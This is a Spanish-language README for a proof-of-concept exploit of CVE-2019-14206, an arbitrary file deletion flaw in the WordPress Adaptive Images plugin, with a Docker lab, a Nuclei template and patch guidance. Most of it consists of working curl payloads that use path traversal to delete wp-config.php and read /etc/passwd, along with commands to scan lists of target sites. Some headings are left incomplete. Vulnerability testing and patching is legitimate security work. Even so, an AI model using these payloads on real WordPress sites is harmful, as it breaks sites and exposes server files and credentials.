
Exploit de prueba de concepto para CVE-2019-14206, que demuestra la eliminación arbitraria de archivos en el plugin Adaptive Images de WordPress. Incluye laboratorio Docker, plantilla Nuclei y scripts de prueba manuales para educación en seguridad y validación.
CVE-ID: CVE-2019-14206
Severidad: Alta (CVSS 6.5)
Plugin Afectado: Adaptive Images para WordPress
Versiones Afectadas: < 0.6.67
Esta vulnerabilidad permite que un atacante remoto no autenticado elimine archivos arbitrarios en el servidor WordPress explotando el plugin Adaptive Images.
// El plugin usa entrada del usuario SIN sanitización
$settings = $_REQUEST['adaptive-images-settings'];
// Construye la ruta del archivo con parámetros controlados por el atacante
$cache_file = $wp_content . '/' . $cache_dir . '/' . $resolution . $request_uri;
// ELIMINA archivo arbitrario
unlink($cache_file);
# Verificar Nuclei
nuclei --version
# Verificar Bash
bash --version
# Verificar curl
curl --version
# Verificar PHP (opcional)
php --version 2>/dev/null || echo "PHP no disponible (opcional)"
# Si estás en el directorio nuclei-templates
cd /Volumes/Codingsh/experimentos/nuclei-templates
# O descarga los archivos necesarios
git clone https://github.com/projectdiscovery/nuclei-templates.git
cd nuclei-templates
# Verificar si los archivos existen
ls -la http/cves/2019/CVE-2019-14206.yaml
ls -la cve-2019-14206-poc/
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
chmod +x docker-test.sh
chmod +x docker-test-full.sh
chmod +x vulnerability-demo.sh
chmod +x local-test.sh
chmod +x real-target-test.sh
Ejecuta la demostración completa que simula toda la explotación:
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
./docker-test.sh
Qué sucede:
Salida esperada:
[🎉] SUCCESS: wp-config.php DELETED!
[!!!] WORDPRESS SITE IS NOW BROKEN!
✅ Vulnerability: CVE-2019-14206 confirmed
✅ Template Status: Production ready
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
# Si Docker está corriendo
docker-compose up -d
# Si Docker NO está corriendo, usa el simulador
./docker-test-full.sh
# El entorno estará disponible en
# http://localhost:8888
# Verificar si el script vulnerable existe
curl http://localhost:8888/wp-content/plugins/adaptive-images/adaptive-images-script.php
# Prueba LFI
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"
# Prueba de Eliminación de Archivos
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"
# Verificar si wp-config.php fue eliminado
ls -la /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test/wp-config.php
# Crear archivo de objetivos
cat > targets.txt << 'EOF'
http://localhost:8888
https://target-wordpress-site.com
EOF
# Escaneo básico
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt
# Escaneo detallado
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -v
# Escaneo con depuración (OBLIGATORIO para bounty)
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -debug
# Guardar resultados
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -o results.txt
# Ver resultados
cat results.txt
# Resultados positivos tendrán:
# [CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test
php -S localhost:8888
# Intentar leer /etc/passwd
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"
# Intentar leer wp-config.php
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../wp-config.php"
Resultado esperado (LFI):
=== CVE-2019-14206 Vulnerability Test ===
[*] Settings received:
source_file = /etc/passwd
...
[*] Cache file: /var/www/html/wp-content/ai-cache/1920/etc/passwd
[*] Source file: /etc/passwd
# Verificar si wp-config.php existe ANTES
ls -la wp-config.php
# Ejecutar exploit
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"
# Verificar si wp-config.php fue eliminado DESPUÉS
ls -la wp-config.php
Resultado esperado (Eliminación de Archivos):
[+] SUCCESS: Arbitrary file deletion vulnerability confirmed!
[+] Target file deleted: ./../../..//wp-config.php
[CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
http://target-wordpress-site.com/wp-content/plugins/adaptive-images/adaptive-images-script.php
Matchers matched:
- Plugin detected
- LFI vulnerability confirmed
- Arbitrary file deletion possible
[N/A] No results found
# Eliminar entorno Docker
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
docker-compose down -v 2>/dev/null
# Eliminar archivos de prueba
rm -rf docker-test/
rm -f targets.txt results.txt
# Restaurar wp-config.php si fue eliminado
cat > wp-config.php << 'EOF'
<?php
// Archivo restaurado
define('DB_NAME', 'wordpress');
EOF
# Eliminar resultados de escaneo
rm -f results.txt
# Limpiar caché (opcional)
nuclei -rm-cache
# Instalar Nuclei
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# O descargar binario
wget https://github.com/projectdiscovery/nuclei/releases/download/v3.0.0/nuclei-linux-amd64.zip
unzip nuclei-linux-amd64.zip
chmod +x nuclei
sudo mv nuclei /usr/local/bin/
# Verificar si el archivo existe
ls -la http/cves/2019/CVE-2019-14206.yaml
# Verificar sintaxis YAML
python3 -c "import yaml; yaml.safe_load(open('http/cves/2019/CVE-2019-14206.yaml'))"
# Usar ruta absoluta
nuclei -t /Volumes/Codingsh/experimentos/nuclei-templates/http/cves/2019/CVE-2019-14206.yaml -u http://target
# Verificar puerto
lsof -i :8888
# Usar puerto diferente
php -S localhost:9999
# Verificar PHP instalado
which php
php --version
# Verificar estado de Docker
docker ps
# Iniciar Docker
# En macOS: Abrir Docker Desktop
# En Linux: sudo systemctl start docker
# Usar modo simulador (funciona sin Docker)
./docker-test-full.sh
Actualizar Plugin:
Panel WordPress > Plugins > Actualizar Adaptive Images
Versión Segura: >= 0.6.67
Eliminar Plugin Vulnerable:
rm -rf wp-content/plugins/adaptive-images/
// ✅ CÓDIGO SEGURO (Ejemplo de corrección)
function adaptive_images_script_get_settings() {
// Sanitizar entrada
$allowed_keys = ['cache_dir', 'resolution', 'request_uri'];
$settings = [];
foreach ($allowed_keys as $key) {
if (isset($_REQUEST['adaptive-images-settings'][$key])) {
$settings[$key] = sanitize_text_field($_REQUEST['adaptive-images-settings'][$key]);
}
}
return $settings;
}
function adaptive_images_delete_stale_cache_image($source_file, $cache_file, $resolution) {
// Validar rutas
$allowed_cache_dirs = ['ai-cache', 'adaptive-cache'];
$cache_dir = basename(dirname($cache_file));
if (!in_array($cache_dir, $allowed_cache_dirs)) {
return false; // Rechazar rutas inválidas
}
// Usar rutas absolutas validadas
$cache_file = WP_CONTENT_DIR . '/ai-cache/' . basename($cache_file);
if (file_exists($cache_file)) {
unlink($cache_file);
}
}
Este material se proporciona exclusivamente con fines educativos y de prueba de seguridad.
El autor y colaboradores NO se responsabilizan por cualquier:
Si encuentras esta vulnerabilidad en sistemas reales:
Este proyecto demuestra:
¡Las contribuciones son bienvenidas! Para contribuir:
git checkout -b feature/improvement)git commit -am 'Add improvement')git push origin feature/improvement)Para dudas o problemas:
🎉 ¡Gracias por usar este material de prueba!
Recuerda: Un gran poder conlleva una gran responsabilidad. Usa este conocimiento para hacer internet más segura, no más vulnerable.
Creado: 4 de Enero de 2026
Versión: 1.0.0
Estado: ✅ Listo para uso en producción